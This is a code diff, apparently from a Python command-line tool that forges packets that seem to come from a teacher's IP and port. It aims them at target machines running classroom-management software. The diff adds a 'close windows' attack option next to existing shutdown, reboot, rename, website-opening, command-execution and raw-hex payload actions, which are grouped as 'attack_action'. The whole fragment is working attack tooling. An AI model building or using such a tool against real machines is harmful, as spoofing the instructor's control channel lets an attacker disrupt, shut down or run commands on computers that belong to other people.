|
15 | 15 | from typing import Any, Sequence, cast |
16 | 16 |
|
17 | 17 | from sender import broadcast_packet |
18 | | -from packet import pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute |
| 18 | +from packet import pkg_close_windows, pkg_message, pkg_shutdown, pkg_rename, pkg_website, pkg_execute |
19 | 19 |
|
20 | 20 |
|
21 | 21 | class ModeOptionalAction(argparse.Action): |
@@ -166,6 +166,14 @@ def format_usage(self) -> str: |
166 | 166 | metavar=("<timeout>", "<message>"), |
167 | 167 | help="Reboot the target machine, optionally with a timeout and message", |
168 | 168 | ) |
| 169 | + attack_action.add_argument( |
| 170 | + "-cw", |
| 171 | + "--close-windows", |
| 172 | + nargs="*", |
| 173 | + default=None, |
| 174 | + metavar=("<timeout>", "<message>"), |
| 175 | + help="Close all windows on the target machine", |
| 176 | + ) |
169 | 177 | attack_action.add_argument( |
170 | 178 | "-n", |
171 | 179 | "--rename", |
@@ -222,13 +230,23 @@ def format_usage(self) -> str: |
222 | 230 | payload = pkg_shutdown(timeout=int(timeout), message=message, reboot=True) |
223 | 231 | case _: |
224 | 232 | parser.error("Invalid reboot arguments: expected [timeout] or [timeout, message]") |
| 233 | + elif args.close_windows is not None: |
| 234 | + match args.close_windows: |
| 235 | + case []: |
| 236 | + payload = pkg_close_windows() |
| 237 | + case [timeout]: |
| 238 | + payload = pkg_close_windows(timeout=int(timeout)) |
| 239 | + case [timeout, message]: |
| 240 | + payload = pkg_close_windows(timeout=int(timeout), message=message) |
| 241 | + case _: |
| 242 | + parser.error("Invalid close windows arguments: expected [timeout] or [timeout, message]") |
225 | 243 | elif args.rename: |
226 | 244 | name, name_id = args.rename |
227 | 245 | payload = pkg_rename(name, int(name_id)) |
228 | 246 | elif args.hex: |
229 | 247 | payload = binascii.unhexlify(args.hex.replace(" ", "")) |
230 | 248 | else: |
231 | | - raise ValueError("Either message or website must be provided") |
| 249 | + raise ValueError("Program logic error, please report this issue: No valid action specified.") |
232 | 250 |
|
233 | 251 | broadcast_packet(teacher_ip, teacher_port, target, port, payload, ip_id=args.ip_id) |
234 | 252 | print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes") |
|
0 commit comments